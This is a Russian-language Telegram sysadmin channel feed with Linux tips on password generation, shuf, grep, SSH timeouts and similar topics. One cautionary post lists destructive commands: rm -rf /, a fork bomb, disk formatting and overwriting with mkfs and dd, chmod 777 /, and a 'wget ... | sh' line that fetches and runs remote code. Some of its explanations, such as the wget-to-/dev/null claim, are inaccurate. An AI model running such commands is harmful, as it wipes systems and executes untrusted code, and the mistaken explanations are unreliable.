Секреты сисадмина | DevOps, Linux, SRE
25.7K subscribers
659 photos
17 videos
438 files
600 links
Крупнейший справочник системного администратора.

Сотрудничество: @max_excel

РКН: vk.cc/cHhGTz
Download Telegram
Bash-Oneliner

Этот блог посвящен простым bash-командам для парсинга данных и обслуживания систем Linux.

Примеры:

Случайная генерация пароля (например, сгенерировать 5 паролей длиной по 13 символов каждый)
sudo apt install pwgen
pwgen 13 5
#sahcahS9dah4a xieXaiJaey7xa UuMeo0ma7eic9 Ahpah9see3zai acerae7Huigh7


Случайный выбор 100 строк из файла
shuf -n 100 filename

Случайный порядок (лотерея)
for i in a b c d e; do echo $i; done | shuf

Вывести серию случайных чисел в диапазоне (например, перемешать числа от 0 до 100, затем случайным образом выбрать 15 из них)
shuf -i 0-100 -n 15

Случайное число от 1 до 10
echo $(((RANDOM %10)+1))

Читать

#СекретыСисадмина
4 способа создать файл в терминале Linux

В этой серии статей для начинающих вы изучите различные способы создания файла в терминале Linux.

#СекретыСисадмина

📁 Скачать/Download 👇
11 опасных команд Linux, которые вы никогда не должны запускать

rm -rf / - Эта команда удалит все файлы и папки на вашем компьютере.

:(){ :|: & };: - Эта команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы.

mkfs.ext4 /dev/sda - Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения.

dd if=/dev/random of=/dev/sda - Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных.

chmod 777 / - Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности.

mv /home/* /dev/null - Эта команда переместит все файлы в вашей домашней директории в "null", что означает, что они будут утеряны.

wget http://example.com/file -O /dev/null - Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных.

mkfs.ext4 /dev/sda1 - Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения.

ln -s /dev/null /etc/passwd - Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.

echo "Hello" > /dev/sda - Эта команда заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».

wget http://malicious_source -O- | sh - Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.

#СекретыСисадмина
Узнаем температуру оборудования в Linux

Трудно не согласиться с тем, что современное оборудование, не имеющее «на борту» температурные датчики, не может считаться «современным» и вообще полноценным.

Ведь именно от температурных параметров зависит эффективная работа самого «железа». В Linux-системах существует масса свободных инструментов для доступа к температурным характеристикам работы оборудования и их мониторинга.

#СекретыСисадмина

📁 Скачать/Download👇
Работа с утилитой patch

Каждый разработчик программного обеспечения, программист или верстальщик сталкивается (и довольно часто) с необходимостью модификации некоторой части рабочего проекта.

Особенно это актуально, когда в разработке участвует несколько человек, которые могут вносить правки в разных частях проекта. Для удобства и автоматизации действий по составлению таких правок используются специализированные утилиты. Одной из них является утилита patch.

#СекретыСисадмина

📁 Скачать/Download👇
Как изменить дату установки пароля пользователя в Active Directory

У учетной записи пользователя в ActiveDirectory есть два атрибута, в которых хранится последнее время смены пароля учетной записи. Это атрибуты pwdLastSet и PasswordLastSet.

Различаются они форматом записи. PasswordLastSet хранит данные в нормальном читабельном виде, а вот в pwdLastSet дата хранится в виде большого целого числа, которое представляет собой количество 100-наносекундных интервалов, прошедших с 12:00 полуночи, 1 января 1601 года нашей эры в формате UTC (Coordinated Universal Time).

Читать

#СекретыСисадмина
19 полезных shell-скриптов на все случаи жизни

#СекретыСисадмина

📁 Скачать/Download 👇
Установка Linux совместно с Windows 10 через WSL

WSL (сокр. от «Windows Subsystem for Linux») — это относительно новый механизм, входящий в состав Windows 10, позволяющий устанавливать непосредственно внутри Windows различные Linux дистрибутивы (например, Ubuntu, openSUSE, Debian и др.) и пользоваться такими инструментами и службами, как: vim, tmux, emacs, Apache и MySQL, а также скриптами, написанными на bash, Python, Ruby, C#, F# и пр.

#СекретыСисадмина

📁 Скачать/Download 👇
Популярные пакетные менеджеры Linux: характеристики, особенности, сравнение

#СекретыСисадмина

📁 Скачать/Download 👇
XSuspender

Когда окно приложения теряет фокус, XSuspender пытается сопоставить его с одним из правил в своей конфигурации. Если совпадение найдено, приложению отправляется сигнал SIGSTOP (предотвращая дальнейшее использование процессорного времени). При восстановлении фокуса окна процесс бесшовно продолжается с того места, где был приостановлен.

Преимущества:
▫️Сокращение использования батареи.
▫️Уменьшение задержки взаимодействия на слабых процессорах.
▫️Уменьшение шума вентилятора процессора.
▫️Избежание приложений, которые замышляют что-то за вашей спиной.
▫️Предварительно настроен для последних версий популярного ПО: Chromium, Firefox, IDE JetBrains, qBittorrent, VirtualBox...

Читать

#СекретыСисадмина
Считывание и настройка переменных оболочки и окружения в Linux

При взаимодействии с вашим сервером в сеансе оболочки существует большое количество элементов информации, которые ваша оболочка использует для определения своего поведения и обеспечения доступа к ресурсам. Некоторые из этих настроек хранятся внутри настроек конфигурации, в то время как другие определяются с помощью пользовательского ввода.

#СекретыСисадмина

📁 Скачать/Download 👇
grep в Linux как инструмент для администрирования

grep — утилита командной строки, использующаяся для поиска и фильтрации текста в файлах на основе шаблона, который может быть регулярным выражением.

Примеры использования.

grep iodmin file.txt — поиск iodmin в файле file.txt, с выводом полностью совпавшей строки
grep -o iodmin file.txt — поиск iodmin в файле file.txt и вывод только совпавшего куска строки
grep -i iodmin file.txt — игнорирование регистра при поиске
grep -bn iodmin file.txt — показать строку (-n) и столбец (-b), где был найден iodmin
grep -v iodmin file.txt — инверсия поиска (найдет все строки, которые не совпадают с шаблоном iodmin)
grep -A 3 iodmin file.txt — вывод дополнительных трех строк, после совпавшей
grep -B 3 iodmin file.txt — вывод дополнительных трех строк, перед совпавшей
grep -C 3 iodmin file.txt — вывод трех дополнительных строк перед и после совпавшей
grep -r iodmin $HOME — рекурсивный поиск по директории $HOME и всем вложенным
grep -c iodmin file.txt — подсчет совпадений
grep -L iodmin *.txt — вывод списка txt-файлов, которые не содержат iodmin
grep -l iodmin *.txt — вывод списка txt-файлов, которые содержат iodmin
grep -w iodmin file.txt — совпадение только с полным словом iodmin
grep -f iodmins.txt file.txt — поиск по нескольким iodmin из файла iodmins.txt, шаблоны разделяются новой строкой
grep -I iodmin file.txt — игнорирование бинарных файлов
grep -v -f file2 file1 > file3 — вывод строк, которые есть в file1 и нет в file2
grep -in -e 'python' `find -type f` — рекурсивный поиск файлов, содержащих слово python с выводом номера строки и совпадений
grep -inc -e 'test' find -type f | grep -v :0 — рекурсивный поиск файлов, содержащих слово python с выводом количества совпадений
grep . *.py — вывод содержимого всех py-файлов, предваряя каждую строку именем файла
grep "Http404" apps/**/*.py — рекурсивный поиск упоминаний Http404 в директории apps в py-файлах

#СекретыСисадмина
Увеличение времени сессии SSH

Бывает, что выполнение удаленно запущенной команды может затянуться, а необходимо дождаться ее выполнения, или пришлось отвлечься, а сессия SSH в это время отвалилась. Можно увеличить таймаут сессии ssh на сервере, чтобы сохранить и соединение, и собственные нервы.

На сервере в конфигурационном файле /etc/ssh/sshd_config прописываем:
TCPKeepAlive yes
ClientAliveInterval 300
ClientAliveCountMax 60

TCPKeepAlive — установлен в «yes», значит сервер будет периодически пинговать клиента, проверяя жив ли он.
ClientAliveInterval — задает интервал пинга для проверки состояния клиента (в секундах). Параметр работает только для протокола версии 2.
ClientAliveCountMax — количество пингов клиента.

Таким образом в этом примере таймаут сессии будет равен 60*300/60 = 300 минут = 5 часов.
После изменения настроек не забудьте перезапустить сервис ssh

#СекретыСисадмина